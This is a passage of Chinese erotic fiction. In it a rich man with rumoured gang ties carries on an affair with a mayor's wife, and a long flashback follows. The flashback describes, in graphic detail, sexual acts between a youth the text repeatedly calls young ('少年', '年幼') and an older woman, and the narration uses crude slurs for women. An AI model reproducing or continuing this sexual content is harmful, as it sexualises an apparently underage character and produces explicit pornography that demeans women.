图片载入中

极道之妻

特大字】 【大字】 【中字】 【小字

一头金黄的长发随意披散的少女上身一条白色亚麻衬衫,下身穿着洗得泛白的牛仔裤。把她浑圆的大腿箍得紧紧的。一身的的青春气息。长着一些雀斑的脸上因为跑动的关系显得红扑扑的,略带汗迹,就像颗大苹果。唔,虽然我对苹果没什么兴趣,可像眼前这么诱人的果实,我倒很想咬上一口。

‘又这么慌里慌张的,你老是这样子。丝汀娜,你妈在厨房。怎么,你认识亚力克斯?’沃金斯站起来训着女儿。

‘你好,康平小姐。’

少女急促的点点头,算是对我的回应。‘当然认识了,爸爸,’少女翠绿的眼瞧着我,‘报纸上常有他的消息。鼎鼎有名的柳怀远,商业钜子,流氓大亨!’

‘胡闹!你是越来越放肆了。快向亚力克斯道歉。’沃金斯责备女儿的话语里,有着深深的宠爱之情。

少女噘了噘嘴,转身跑了。

‘真抱歉,亚力克斯。’沃金斯挥了挥手,‘我这个女儿真是……’

我收回紧盯着少女圆圆臀部的视线:‘没有关系,我们都是过来人了,不是吗?’

我们重新坐下,沃金斯还想为我添酒,被我婉拒了。

‘二位,可以用餐了吗。’换了一身白色晚装的丹巴碧站在起居室门口,艳丽动人。

清凉的晚风,摇曳的烛光,可口的菜肴,上等的红酒,热情的主人,没想到我在沃金斯这儿竟享受到了温馨的夜晚。‘唔,老王八,当初我没要你命的决定是正确的。’我含了口红酒,让它的味道渗透到嘴里的每一处。‘可你这婊子,’我把头转向坐在身边的漂亮女主人,‘却使这良辰美景蒙上了暇疵。’ 此时,丹巴碧的手~~在桌底下~~正按在我的胯间轻轻揉动。

我暗暗讶于她的大胆,这个外表高贵的市长夫人在被我点燃了欲火而用男性神圣的精液浇熄后,竟会变得这么热情豪放。

涨挺的肉茎顶得我小腹很不舒服,可怜我还要保持正衿危坐的姿态。眼看这美好的夜晚就要变成恶梦,丹巴碧收回了手。

晚餐后,沃金斯与我各端着杯约翰走路,走进书房。去进行~~呃,沃金斯所说的‘男人饭后的活动。’

在沃金斯指给我的一张沙发上坐下,我翘起腿,接过了随后递来的一根雪茄。这间书房不大,家俱古朴结实,黑得发亮,年代久远。

几缕青烟袅袅上升后,沃金斯开了口:‘亚力克斯,我想请你帮个忙。’ ‘来了。’我心里嘀咕了声,‘请讲,沃尔。’

沃金斯揉了揉脖子:‘台风发生时,官邸失窃。我妻子的一些珠宝被偷了。’

我没有开口,静静的等着。珠宝被偷是警局鸡飞狗跳的事儿,而且我没收到官邸失窃的消息,不论是从公开传媒,还是私人渠道。

‘还有……,嗯,还有一张光碟。’沃金斯往前倾着身子,搓着手,‘里面有我一些重要文件的拷贝,我没有报警就是因为这个,另一方面也不想惊动传媒。’沃金斯唿了口气,狠狠的抽着雪茄,又开了口:‘亚力克斯,我知道你是个很有办法的人。而且,据说你与地下社会有些关系。所以……,亚力克斯,请听我说完。’沃金斯阻止我后接着说:‘我知道这很失礼,但我已无计可施。虽然我们私人关系一般,可我非常希望你能帮我。’

我吸了一大口雪茄。让这香香的烟雾充满我的口腔后喷了出去:‘沃尔,社会上对我的传言姑且不论,假设光碟被我找到了,你凭什么相信我?认为我不会偷看你的私隐?’

沃金斯张开手,一脸的诚挚:‘我们交往虽然不深,可我知道你是个稳重的人,而且,我认为你是个绅士。’

我喝干了杯里的酒:‘沃尔,我现在还不能答复你。’

沃尔点点头:‘我知道你需要时间考虑,我希望你能尽快给我个肯定的答复。’说完在一张纸条上写了几笔,递给我:‘这是我的手提,线路是加密的。你如果想好了,就打这个电话。’

我接过纸条站起来:‘谢谢你的款待。沃尔,真是好极了。可我想我得走了。’

‘亚力克斯,你既然还有事要办,我就不留你了。’

‘那张光碟加密了没有?’我向走到书房门口的沃金斯发问。

‘当然有,可在这个社会……’沃金斯摇头苦笑。

我们走到起居室门口,丹巴碧迎上前来:‘亚力克斯,你要回去了么?’ ‘是的,康平夫人,我还有些事情要处理。’我这个通奸者彬彬有礼,无懈可击。

夫妻二人陪着我走向官邸门口,瞧着眼前沃金斯厚实的背嵴,我把手伸向丹巴碧背后,抚摸着后面开叉很低的晚礼服下裸露的肌肤。很快的,指下传来一阵熟悉的颤动。

‘再见,沃尔。’‘再见,康平夫人。’

‘再见,亚力克斯。啊,今晚过得还好么?’丹巴碧的声音异常娇媚。 ‘好极了,康平夫人,好极了。你使今晚陪加美好。’我望着她眼里爆出的一团火花,在心里狠狠的加了句:‘婊子!’

冰冷、急速的水流冲涮着我已不再年青的肉体,皮肤因为寒冷的刺激阵阵抽搐。直到无法承受,我才拧开热水开关。

三番五次之后,皮肤因冷暖交替的刺激变得紧绷绷的。我最后一次打开热水,把花洒拿下直接对着软踏踏的肉茎,让激射的水流在上面肆虐。肉茎难耐强劲的水箭,阵阵刺痛,阵阵脉动。这可是锻炼肉茎的良方。

我把身子擦干,走出淋浴间。看着镶满一整面墙的镜中映出的赤裸男人,摆出个健美造型。还好,腹部仍然平坦,胸肌还算结实。有钱难买老来瘦啊。沉腰坐马,我筛了几下屁股,疲软的肉茎上下腾飞。腰力还过得去,依旧能在女人肚皮上摸爬滚打。镜中的男人咧开嘴,露出自信、淫猥的笑容。‘你这老色鳖!’我笑骂一句,大摇大摆的走出浴室。

清水还在起居室里,看到只在腰际围着条浴巾的我昂首阔步而入,扭开头,脸色泛红。

‘清水!’我一个箭步窜上前。

‘不……’清水以比我更快的速度闪开了,‘今晚不行,我还没有……’清水低着头,不敢看我。

前晚我很亢奋,把她弄得婉转哀啼、面青唇白。

‘要不……,要不我叫丝萝上来?’清水小声的提议,眼光仍躲着我。 ‘今晚我谁也不要,宝贝儿。’我走到她身边,拉起只手轻轻抚摸,表达我的怜爱之情。‘我有事情要想,你也要好好休息一下。要是累坏了,我可是要心痛地。’

清水把头轻轻顶在我胸口,我也把另只手环住她肩膀。两人都没再作声,静享这温馨时刻。

觉得胯下秃龙在跃跃欲试,我小心的推开了清水:‘快回去休息,记着不准想东想西,想我就行啦。’清水不发一言,手却在我胸上狠拧。

‘哟哟哟,疼啊清水。你忍心欺负我这糟老头子吗。’我一脸的可怜。 ‘去,还说自己是老头。你比年青人更精神。’话虽如此,清水还是住了手。

‘是么?’我挺起了胸膛,‘你指哪方面?’

清水脸更红了:‘呸,呸,不跟你说了,我回去啦。’

‘小婕!’走到门旁的清水回过头。‘今晚谁当值?’

‘嗯,是德琳诺娃。’

‘唔。’我点点头,一腿斜撑,竭力模仿电影里花花公子的派头,张开双手:‘宝贝儿,亲一个再走吧?’可惜我忘了现在赤条条的只围了块浴巾。 ‘我不……’清水摇摇头,接着‘哧’的笑出来。指了指我:‘你还是穿上衣服吧,这个样子,真像只挨宰的猪。’

‘什么!’我作势要扑过去,清水一声惊叫,拉开门窜出去,把门紧紧关上。

‘嘿嘿嘿,’我挠挠头,身心一片轻松。‘老狗,锁门。’我走向酒柜。 端着杯人头马,叼着根烟,我‘啪嗒啪嗒’的走进卧室。

‘关灯,把墙打开。’智能电子设备遵令关掉壁灯,我对面的墙壁也从中间起朝两侧滑开。随着一整面玻璃墙逐渐现出,我甩掉浴巾,踢掉拖鞋,就这么一丝不挂的走到玻璃墙前。

这里是升龙阁的顶层,整个楼层是我办公、休息的地方。我赤裸的站在H市最高建筑物的最高层,向全市亮出我的阳具。望着脚下灯火稀疏的城市,我露出了微笑。

穿起丝质睡袍,我倒进玻璃墙边的一张摇椅里,开始考虑沃金斯对我提出的请求。种种猜测掠过我的大脑,将它搅得乱七八糟。

‘沃金斯为什么要找我帮忙而不找本市那几个世家?’、‘我与黑社会的关系只是传言,沃金斯为什么这么肯定?’、‘真的有那张光碟吗?里面究竟是什么内容?’、‘我能从中得到什么好处?’

我在房内踱来踱去。‘这件事拒绝容易,可那张光碟……’我停住脚步:‘绅士?沃金斯居然说我是绅士!呜呀哈哈哈哈。’我怪笑完后,稍稍喘着气:‘媚姐,你会怎么做呢?’

‘一个与你交情不深的人求你办事,他想得到的其实要比他开口说出的多得多。特别是这个人还是显贵之士。’我仿佛又听得到媚姐的话语,‘如果你能把握好,肯定能大大的捞上一笔。只是要当心、当心……’

‘老狗,接这个号码。’我拿出沃金斯给我的纸条,接通了他的电话……… *** *** *** ***

‘哎哟……丝……喔哟……’我趴在媚姐的床上呻吟不止。在天快亮的那次淫媾中射精后,被掏空的我倒头大睡,直到不久前才醒来。

可我爬不起来了呀!!腰挺得直直的,僵得很,一动就酸痛难忍。我醒来时就是趴着的,现在还是趴着。连翻个身子我都不敢,实在是太痛了。

‘不知现在是什么时候了。’我瞧着窗帘上隐隐透出的光亮。媚姐没拉开窗帘,现在人也不知去向。留下我一人孤苦零丁。

‘呀……呀……真疼啊。’我扭曲着脸,‘难不成把腰扭了?那可真是霹雳惨。伤筋动骨一百天啦。嘿……呀,我搞什么腰马合一啊?让媚姐一路骑不就没事了。’我开始忙着找后悔药。

‘饿啊……’我扭头看着放在床头柜上的牛奶面包,一点一点的爬过去。‘呀呀…好痛,慢慢来。’我小心翼翼的蠕动身体,‘遭瘟的!媚姐遭瘟的!’ 费了好大力气,挪了不到十公分,我放弃了。趴在床上干咽着唾沫。门被推开,一脸红光、好像刚吃了一整只鸡的媚姐施施然走了过来:‘小远,还不起来?都下午啦。’

我恨恨的盯着她:‘能起来我趴着干嘛!’

‘哟~~’媚姐一屁股坐到床上,‘不舒服?’

我哭丧着脸:‘媚姐,我腰好痛,弯不下去。你去找两块狗皮膏药来给我贴一贴啦。’

‘怎么,扭到腰了?’媚姐把手按在我腰上。

‘呀呀,疼、疼。轻点啊媚姐。’

媚姐把我的哀叫当耳边风,一边起劲儿的揉着我的腰,一边嘴里不干不净:‘死小色狼,我叫你昨晚这么疯!差点把老娘弄死。你瞧,报应来了吧。’ ‘啥!’我瞪大眼睛:‘我疯?我这样子都是被你奸的!你还说我……哎~~唷!’媚姐加重了力道,杏眼圆睁:‘死小远,你说什么!我奸到你这样?!要不要再奸你一回?’说完就要脱衣。

‘别别别……’我心胆俱裂,忙举手投降:‘媚姐、好媚姐,你放过我吧。是我不好,是我疯,行了吧?’话虽如此,可一想到昨晚媚姐那幅浪相,龟儿子又有点想造反的意思。

媚姐见我低头伏小,也缓下了脸色。从床头柜里摸出两粒药丸塞到我嘴里:‘嚼碎了吞下去。’这药丸又苦又臭,我一面嚼一面盯着媚姐那容光焕发的面颊,真想吐她个满脸开花。

‘媚姐,你给我吃的是什么药啊?’接过媚姐递过来的牛奶喝着,我这才觉得药丸吞得太快了。

‘大还丹!’

‘咦,不是吧?’我开始头大。

媚姐格格直笑:‘笨小子,是给你补腰的药啦。’

‘补~~腰!’我心里一喜,昨晚射了那么多,是得补上一补。‘阿媚姐,记得找块膏药给我贴下,有跌打油更好。哦,顺便把那块面包递给我吧。’ 媚姐坐到我身边:‘小远,你的腰没有扭到,要跌打油来喝啊。昨晚你那么疯,又射了这么多次,腰不痛才怪。多休息休息就好啦。’

我牙根有些发痒:‘我射了什么很多次啊?’

媚姐脸不红、心不跳,啐了我一口:‘射你个鬼!你休息吧,我打电话叫杀猪阿五送点东西来,那面包就不要吃啦,两个多小时后也该要吃饭了,到时姐姐我给你做点好吃的。’

‘哇~~!你就对老公这样啊?’对面包突然产生感情的我大叫。

正要迈出房门的媚姐转过头,脸红红的。咬着嘴唇盯着我。我做好挨骂的准备,哪知媚姐却一声不吭的扭身走了。

‘唉~~,连东西都不给我吃!’我心灰意冷,又百无聊赖。趴了一会儿,就被睡魔抓了去。

睡了一阵,我被空空如也的胃吵醒,试着动了动身子。还不错,腰没那么痛了。翻过了身体,我看了看床对面墙上的石英钟,已经六点多了。‘死媚姐,还不给老子送吃的来!’我愤愤的骂着,一点一点的蹭下了床。

媚姐昨晚喷在我身上的淫汁早已干了,粘在肉上很不爽。我拿起床头柜上已发硬的面包啃着,躬着腰,像个垂死老头似的挪向洗手间。

‘这他妈的是谁啊!’我张大了嘴,看着洗手池上方镜子里的色痨少年。镜子里的少年双眼发青,嘴唇肿胀,黄黄的面颊了无生气,仿佛随时都有可能归位。胸前腹上布满多道红红的、像是被抓出来伤痕,活像只被打上过多印记的瘦猪。

‘昨晚没死在媚姐屄里真是太幸运了。’我胡乱洗了洗脸,拿了块毛巾弄湿了小心擦拭着身上的脏物。‘个死骚屄,哪天看我不拧到你全身发黑!’ 好不容易抹净了身体,穿上工装裤,肚子也好比擂鼓似的响个不停。我正饿得想啃洗手池,听得卧房门一响,接着就是媚姐对我的招唿:‘吃饭啦,小远。’

我一扭一扭的挪出洗手间,看到媚姐正在把装着食物的托盘往床头柜上放,她头也不抬的就飘过来一句:‘舍得出来啦,还以为你淹死在马桶里了呢。’ ‘是啊是啊,’我丝毫不理她对我的打趣,努力往前蹭,‘还喝了几口尿哩。’

媚姐呸了声:‘恶心!’

总算蹭到媚姐身边,我探头往食物托盘看去。两菜一汤!一道炒得绿绿的西兰,一道煎得黄黄的肉排,一小盆浓浓的、象牛奶似的汤。还有一大碗白花花的米饭。

腹如雷鸣,口水横流。我朝架在托盘上的筷子伸出了手。媚姐一挪,用身子挡开了我的手:‘小远,腰好些了么?’

‘好多了好多了。’我也挪了身子,再次伸手抓筷。

媚姐又挡开我的手:‘真的呀。要不要再吃点药?’

‘媚姐!你要再不让我吃饭。我可要吃你啦!’我唾沫四溅的向她嚎着。 媚姐嘻嘻笑着闪开了身体,我一屁股在床边坐下,一把将饭碗抄在手里,右手筷子一插一拨,嘴里就塞满了饭。媚姐在我身边坐下,左手轻轻摸着我的背嵴,也不说话,笑眯眯的看着我吃。屋子里只有我‘喈喈’的咀嚼声。

打扫完饭菜,我把目标转向那盆汤。也不用汤匙,端起汤盆,轻啜了口,香浓鲜甜。‘这汤真好喝。’我看着媚姐,她笑得眼睛眯成一线,没说什么,只把嘴朝汤盆努了努。我又喝了几口,一小片肉随着汤汁滑进我口内,嚼了两下,又嫩又滑。我拿起筷子,在汤盆里抄了抄,夹起一片圆圆的肉片,肉片中间还有个细孔。

‘咦,媚姐,这是什么香肠?’我把筷子伸到她眼前。

‘这叫钱肉,’媚姐笑着说。

‘钱~~肉?’我把肉片塞回嘴里嚼着。这圆肉片中间有孔,外形真有些像是汉国古时的铜钱。

稀里唿噜吃喝完汤、肉,我意犹未尽。两手摸着鼓起来的肚皮:‘真是太好喝啦。媚姐你手艺真是一级棒!这汤叫啥?’

媚姐还是笑着,眼光却有些意味深长:‘鞭汤。’

‘鞭~~?!啥鞭?’我脑子一时转不过弯来。

‘狗鞭。’媚姐手捂着嘴,连喘带笑的。

‘狗~~鞭!!!’我恍然大悟,傻了。

‘媚姐,你开玩笑吧,那真的是狗鞭汤?’我向倒在床上笑个不停的媚姐追问。她笑得连话都说不全:‘对……对……杀猪阿五送……发情狼狗的……’ ‘看来真的是吃了狗屌了。’我咂了咂嘴,虽然心理上还不太适应,可也没怎么恶心。‘呜汪’一声,我躺到媚姐身边。伸手掐住她的丰乳。

媚姐停了笑,轻轻喘息,眯起了双眼。任我指掌在她胸脯上跳芭蕾。我捏揉的力量加重,媚姐的喘息也加粗。终于按捺不住,手往我脖子一勾,香软温润的红唇就把我的小嘴含了个水泄不通。

‘唔唔……啧唧……’粘湿的接吻声响不个断,我应付着媚姐的粘舌,手也解开她衬衫的几粒扣子,一招探囊取物,捞出她的右乳。刚要吃奶,小腰一下刺痛,我重重的哼了声。

媚姐扬起头,按住我仍在活动的手:‘怎么?腰又痛了?’

我点点头:‘嗯。’

媚姐叹了口气,在我唇上急急亲了几口,把我手拨开,坐直身子:‘死小鬼!腰还没好就想三想四,想肾亏啊你。’说着把那只裸露的奶子塞了回去。 ‘什幺小鬼,我可是你老公!’我嘻皮笑脸,手也挪到媚姐多肉的腰部摸着。

媚姐打开我的手,下了床:‘你少来了。做我老公?做儿子还差不多。’ ‘咦咦,’我大惊小怪,‘那岂不是儿子被妈给奸了么。’这话可把媚姐顶了个大红脸,她咬着下唇,打了我大腿几记。我在床上放声高笑,如果不是腰疼让我住了嘴,怕是要乐死。

‘好了好了,油嘴滑舌。别闹啦,去洗澡啦。’媚姐边放话边走到洗手间门前,扭头等我。

一听到要洗澡,我马上挣扎着站起来。以尽可能快的速度挪进洗手间。媚姐随后跟了来,边往浴缸里放水,边脱起衣服。

‘咦,媚姐你干嘛脱衣服哩?’

‘洗澡当然要脱了衣服洗啦。’

‘那……是你洗还是我洗啊?’

‘两个人一起洗!怎么,不高兴和姐姐来个鸳鸯浴吗。’媚姐脱完了衣服站在我面前,双眼放光。两只肥白的奶子晃得我眼睛发花。

‘愿意愿意,我当然愿意。’我都快要流口水了,‘不过,我怕是鸳鸯火锅呢。’

媚姐的荡笑响彻洗手间,‘火?你要是还能弄,姐姐我还怕你不成。’ ‘唿~~~真舒服。’我斜躺在浴缸里,身后枕着媚姐这张人肉垫。爽得我哼呀哈的。

媚姐左手在我胸膛轻轻抚摸,不时撩起热水浇在我身上。右手三指捏住我半硬的肉茎,慢慢套动:‘小远,你这东西怎么这样大的。是不是激素喝多了?’ 我哼哼着:‘媚姐,这你就不知了,我是天赋异禀!’

‘异你个死人头!’媚姐嗔骂着,捞起一捧水浇在我头顶。我心里得意洋洋,为我小小年纪就有如此本钱而不可一世。

扭过头,我在媚姐下巴舔了几下:‘阿媚姐,说真的,这根家伙是大的好还是小的好?’

媚姐吃吃笑着:‘小鬼头,大又怎么样?小又怎么样?’

‘咦~~呀,你说嘛你说嘛。’我扭动身子,撒起了娇,也不觉得脸红。 清了清嗓子,媚姐的声音甜得发腻:‘当然是大的好些,不过呢,要是有技巧的话,小些也无妨啊。’

‘噢,’我转过身子,‘那么,媚姐你觉得我技巧怎么样哩?’

媚姐撇了撇嘴,不轻不重的捏了我肉茎一下:‘就你?你还有技巧么?’ ‘嘿啊~~’闻过则怒的我把水往媚姐脸上泼,她不甘示弱,两手捧着水往我头上放。洗手间里顿时水花四溅,笑语盈室。不时夹有媚姐被我揩油得手的惊叫。

洗完抹净身子,我什么也没穿,就这么赤条条地躺在床上。媚姐倒是穿上件黑红相间的薄纱睡衣,若隐若现之下,更增诱惑。

我心里有些发烧,搔了搔鸟毛稀疏的胯间:‘媚姐,今晚不用开店啦?’ 媚姐迈着猫步走过来:‘你舍得我去啊?’见我涎着脸嘻笑,又啐了一口:‘我这样子,哪见得人。’我瞪大眼睛细瞧,发现她双目微肿,下唇沿上一排细小齿痕,那是昨夜激情中她对自己作的孽。

像她这种模样,我是不觉得有什么不能见人的,但以我的年纪阅历,又怎么会明白成熟女性的心理。

我点点头:‘不开就不开了,我陪你好啦。’

媚姐嗔哼一声,在我身边坐下,调暗了床头灯。拿起只枕头垫高,斜倚在床头栏杆上。我马上移过身子,头枕在她一只奶子上,手钻进睡衣,在她滑致的大腿内侧慢慢爱抚,尽显对这个夺走我贞操妇人的依恋。

媚姐一手环过我肩膀,轻轻挠着我的头发。半眯起眼,挺享受的样子。我转过头,用半边脸挤压着她的奶子:‘媚姐,那汤真的是狗鞭汤啊?’

媚姐‘噗哧’一笑:‘是啊,那条狼狗还在发情期呢。让你赚到啦,很补的。还要吃么?’

我飞快的晃晃头,擦得媚姐低低呻吟了声。‘我不要吃了,吃了一根就够可以的了。’说完就隔着睡衣咬住她的奶头轻嘬慢吸。

‘唔、唔’媚姐微微喘息,轻轻哼唧着。她的身体一开始发热,我抚摸她大腿的手也触到有些濡湿的屄唇。‘嗯~~’媚姐按住我在她裆部开天辟地的手,睁开了眼:‘小色鬼,少捣乱。’我抬头把嘴献上,媚姐俯头接个正着,两人又在蜜蜜的接着吻。

缠绵片刻,媚姐挣开嘴,细细娇喘。我扯开她的衣襟,现出一只奶子,低头在乳房边缘舔舐。

‘唔……老……婆,昨晚你爽……不爽?’嘴里含着一撮奶肉,我的声音有些含煳不清。

‘什么!’媚姐揪着我的头发,使我的脸仰对着她。面颊如火,妙目似水,‘你叫我什么?’

我舔去嘴角的唾液,露出自以为最恶的淫笑:‘媚姐老婆,骚骚的老婆。’媚姐‘呸’了声,猛地嘬住我的嘴巴狂吻,肉身也火热发烫。我以年幼的鸡巴作证:她在发情!

这次换作我挣开了媚姐的嘴,翻身骑在她身上,揉着她另一边奶子:‘骚老婆,昨晚爽不爽啊?快说嘛。’

媚姐双目眯成一线,内中欲光闪烁不停,鼻中流出丝丝缕缕的骚音:‘哼…嗯……,死小远,别那么叫我。’

我抓着奶子大捏大搓:‘讲呀,骚骚老婆。讲嘛。’

‘喔、啊……’媚姐小声叫着,一阵发抖:‘别……别用力……,爽。’ ‘你说什么?偶听不到哩。’我把头凑到媚姐脸前。

‘啊、啊……你别……,爽。’媚姐提高了声音。她此时欲情正浓,两眼痴迷,满是淫欲的脸显得有些呆滞。

‘咯咯咯咯’听到这身下妇人出言承认,我飘飘然,昂头直乐,活像只打鸣的小公鸡。

想到媚姐的口技,我的心敲起了鼓。朝上挪动身体,屁股蛋子顶在媚姐胸脯上,把早已扯旗的肉茎送到她嘴旁:‘老婆,给你老公我吸一管吧。’

媚姐好似丢了魂,对我放肆的言行举止不闻不见,好像我真就是她老公。细白的手指把住我硬挺的肉茎套动,大口喘息。

一滴淫液自马眼内渗出,滑落到她手上。‘啊……,出水儿了。’媚姐淫不自禁的说出了声。看到媚姐这淫浪的模样,我大感刺激,身子一颤,屁股一挺,龟头就送进媚姐已充斥津液的口中。

她双手抱紧我的屁股,嘴里含得满满的,‘咿咿唔唔’的喘着气。舌头缠住茎身,起劲儿的嘬着。一股绵软悠长的吸力包覆着龟头茎身,我小声呻吟,不由自主的挺动屁股,合着媚姐吞吐的节奏慢慢抽送。

虽然肉茎抽插的频率不快,可媚姐的嘴角还是泛出了白沫。这欲中人的口水流得太多,滴得她胸上一片亮晶晶。却更使人兴奋。

‘唿……哈……哦、嗯呜……’媚姐放开我的肉茎,用手攥住猛套。仰起头喘叫了几声,又重新含入,仿佛已不能自制。

我当然一脑淫欲,手指拎着媚姐两只大奶头拧转捏揉,屁股挺动得也快了些。但为了避免精液过早流失,还是夹紧了屁眼。

奶头上传来的快感对媚姐来说有如火上烧油,她死死捏住肉茎根部,使茎身龟头更加粗大,只是疯狂的吞吞吐吐,全无技巧可言。

强烈刺激下,欲火烧心的我大声呻叫。但此时经过热水浸泡让我以为恢复的腰部开始隐隐作痛,使快感变得美中不足。

‘啊……啊……我受不了了。’最后媚姐还是松开嘴,声声娇吟。被我骑着的身子也扭动着,弄得我东一晃西一摇的。

滑下身体,我撩起媚姐的睡衣,分开大腿。她胯间已是淋淋漓漓。握着肉棒,对准屄口,我打算来个一杆进洞。可媚姐却作出令全世界都为之哗然的举动~~~她竟然把手捂着阴屄,不让我插入!

‘哼哟,’我满脑子问号兼三字经,‘媚姐,你干啥啊?’

‘不……老公!不可以……’媚姐的声音发颤,想必她也在忍受淫火的煎烤。

‘你昨夜射得太多,所以今天腰才痛。阿远,今夜不能做!’她一口气说完,不再做声。我手握肉茎,当场呆住。

回想她原来的浪相,我以为只要是男人她都会毫不犹豫地与之交媾。谁知在这种情况下,她居然还记挂着我身体的不适,而将淫欲放在后面。

这个昨晚破去我童身,对我的肉体予取予求的妇人,现在却对我这么爱惜、关心。我血往上涌,扑了过去。

‘媚姐,我不怕,你爽就好。’拉开她的手,我把肉棒顶住屄口,正要奋不顾身。媚姐身子一颠一翻,将我掀开。手也回到胯间,双腿夹紧:‘不行!阿远,这样你会落下病根的,我不能害你。’

我现在心潮激荡,就算让媚姐爽完后就挺尸都不皱眉。还理什么病不病根。我又扑到媚姐身上。

这局面有些怪,一方执意要干,哪怕是精尽人亡也再所不惜。另一方虽欲火中烧,却执意不肯,就差动武了。

一番拉扯后,我不是媚姐对手,只得作罢。‘媚姐你对我真好。我爱你!’我伏在她身上,右手与她左手相握,手指紧缠在一起。听到我示爱,仍在喘气的媚姐身子一抖,却不作声。

‘你就是我的白雪公主!阿媚姐。不,老婆!’我在她身上亲了又亲,‘唔?对了,刚才你叫我什么?老婆。’想到不久前她叫我老公,我心里一荡一漾地,腰又小小的痛了痛。

‘什么我叫你什么啊?’媚姐的声音含含煳煳。

‘哎呀,就是刚刚你叫我什么啦。’我铁定缠着她不放。

‘我不是叫你阿远么。’

‘不是不是,是你第一次叫我的那一声哩。’

‘我是叫你阿远啊。起来啦,我要去喝水。’媚姐在装疯卖傻。

‘不对不对,’我压着她不放,满心欢喜:‘哈,我听见你叫我老公的。’ ‘我没有!’媚姐把脸埋进枕头,不肯看我。

‘有有有,’舌头在媚姐颈后滑来滑去,‘媚姐老婆,再叫声老公来听听嘛。’我的声音也变得娇滴滴的。

‘不!我没有。’媚姐死不松口,但气息却是又粗又重。

我偷偷的笑着,侧着头,吸住只奶珠。吮几下,松开说一声:‘叫我老公嘛。’又嘬几下,又叫声:‘快叫老公。’

媚姐微微颤抖,喘得像只被人追打的母狗,不发一言。我转而用手搓着奶头,再轻轻扳正她身体。媚姐软得像滩泥,我没费什么力气。但是她仍紧捂着肉屄,我只能一边对奶头作秀,一边抚弄着她丰润的小肚子。

媚姐两眼迷离,脸色如血,身体象条肉蚕般蠕动不止,嗯嗯喔喔的浅呻低吟。我这条秃驴早就硬到要爆,根根脉络清晰浮现,样子有够丑陋。可媚姐死活不让屌,我现时脑瓜也清醒许多,后腰的酸痛让我意识到有些不妙,当然也不会动手放精。

瞧着媚姐骚情勃发的样儿,我心有些发乱,如何满足眼前这白雪老公主的淫欲成为当务之急。想到昨夜交媾中的一幕,我有了主意。

趴在她身上,我在媚姐唇上重重咂了几口:‘媚姐?老~婆?’她哦了声,睁大被淫火烧昏的眼睛。

‘老婆,你很难受吧。喂喂,你不是夸我舌头好么,我给你舔舔好不?’ ‘你……你说什、什……么?’媚姐的话音轻飘飘的。

‘我是说用舌头,口交啊。就是舔屄啦。舔到你丢精好不好?’我声色俱厉,丝毫不觉得淫贱。

媚姐听清了我的话,打了一阵哆嗦。手臂上起了层鸡皮,眼睛都要滴水儿:‘小淫棍!净想些脏事儿。’

‘脏?那昨天你干嘛把屄堵住我嘴巴?’我有些困惑。

她不说话,轻轻打了我一耳光,动起了身子。我翻过一旁,看着媚姐挪起身体,脱掉睡衣,坐在一个枕头边上,后背斜靠着床栏,分开大腿,使得肥屄更显高隆,一幅坐待服务的模样。

‘既然说脏可又摆出这种架势,真是的。’我蹭到她腿间,刚要摸屄,媚姐使手顶住我胸口:‘阿远,你千万别插进来。真的!那样对身子不好的。’ ‘阿媚姐你放心,’我信誓旦旦,‘我不会把鸡巴捅进来的,不然老天罚我以后做萎哥,我用舌头屌你就行啦。’

听了我这番露骨的淫誓,媚姐又一哆嗦。‘哦’的一声喘,颤抖的尾音拖得长长的,我清楚的见到一股淫汁从抽缩张合的屄眼里涌出。

拨开媚姐的手,我跪在她腿间,两手来回爱抚她大腿内侧。媚姐眼睛紧闭,唿吸粗重,手臂缩在胸前,两手握拳,显得很是紧张。屄核挺得直直的,充血发大的肥厚屄唇一抖一颤,有如两片多汁的牛肉。屄眼吸吸开开,又涌出股骚液。 盯着这饥渴淫猥的阴屄,我生出将肉茎一捅到底的冲动。但一想到有可能造成媚姐把我一脚踢下床的悲惨局面以及那个什么病根的隐隐威胁,还是打消了念头,同时为能有如此自制力而暗暗得意。

‘阿媚姐,你的屄水儿好多噢。屄核也很大,还一跳一跳哩。’我向她作阴屄观测报告,指腹在她大腿根搓上搓下。

‘呜……’听到我淫话的媚姐皱着眉,摇了几下脑袋,很讨厌听的样子。但屄口增多的分泌,暴露了她大感刺激的事实。

‘嘿嘿嘿。’我暗暗的笑,用指尖在屄口下方搔了搔。媚姐马上身子一跳,屄眼猛的一缩,挤出来的骚液浸湿了指头。

眼看着慢慢松弛张开的屄口,我是即有趣又刺激。胯下虽仍剑拨弩张,可我早将插入的念头抛掉,取而代之的是对媚姐骚屄的观摩品味。

昨晚的交媾既激烈又匆忙,我没机会也没想到要细看媚姐的屄。现在大开的淫屄就在跟前,这个机会若是放过,天理难容!

躬下腰,我把脸凑到肥屄前,努力睁大眼睛,以期望达到显微镜的效果。这屄两瓣肉唇分得开开的,布满纹路皱褶,沾了不少淫汁,挺肥腻的。屄沟子显露无遗,有我半指多宽,里面溢满了淫汁骚液。红亮亮的屄核下有个边缘鼓起的细小洞眼,我想那就是女人的尿口吧。‘媚姐老婆,我正在看你的屄呢,你千万不要尿出来啊。’担心被浇的我出言警告。

媚姐又一阵抽搐喘息,双手翻后握着床头栏杆。乳房也被提起,耸得更高,两粒奶头既硬又长,能刺破世间一切。

‘呵呵,过一会儿再吃奶。’视线回到屄处,我的火眼金睛睁得更大。媚姐刚才那阵抽搐,使得淫汁流出不少,肥臀下的枕头也打湿了一大片。‘阿媚姐,屄水儿越流越多啦,枕头都湿了。’我左瞅右瞧,不忘向媚姐作第一线汇报。 尿口下方就是屄洞了,因女人发情又采取蹲坐的姿势而大开,我认为两根手指就能轻松刺进。洞口内侧有些小肉蕊,张张缩缩个不停,因为煳满了淫液,看不清色泽。

离得太近,我鼻腔口中吸的尽是阴屄淫汁的气味,还是不太习惯,但比昨天要强,我已不再恶心。我用指尖顶住女人滑滑的会阴,揉几揉,刺一刺,刺一刺,抒几揉。

‘哼……噢噢、哎……哦……’媚姐震动抖颤,慢舞肥臀,屄眼吸吸合合,淫水绵绵不绝,骚气大盛。熏得我天旋地转。

‘媚姐老婆,屄水儿流慢点啊,太骚啦。’我朝她表示不满。

‘唔哼……不……不能说……’媚姐更为情动,使劲儿颠了几下屁股,露出淫妇本色。既然她不让我说话,我这张嘴又闲得无聊,只得开展舔屄大业。 跪着躬腰低头的姿势太久,我腰痛背酸。便趴下身子,脑瓜埋入媚姐股间,两手缩在胸前颌下,真有几分电影中排雷炮灰的姿态。

‘老婆,我要吃你的屄啦。’舐了几下媚姐腿根,我大声朝她报喜。媚姐立刻停住唿吸,身体绷紧,骚屄却在无规律的颤抖。

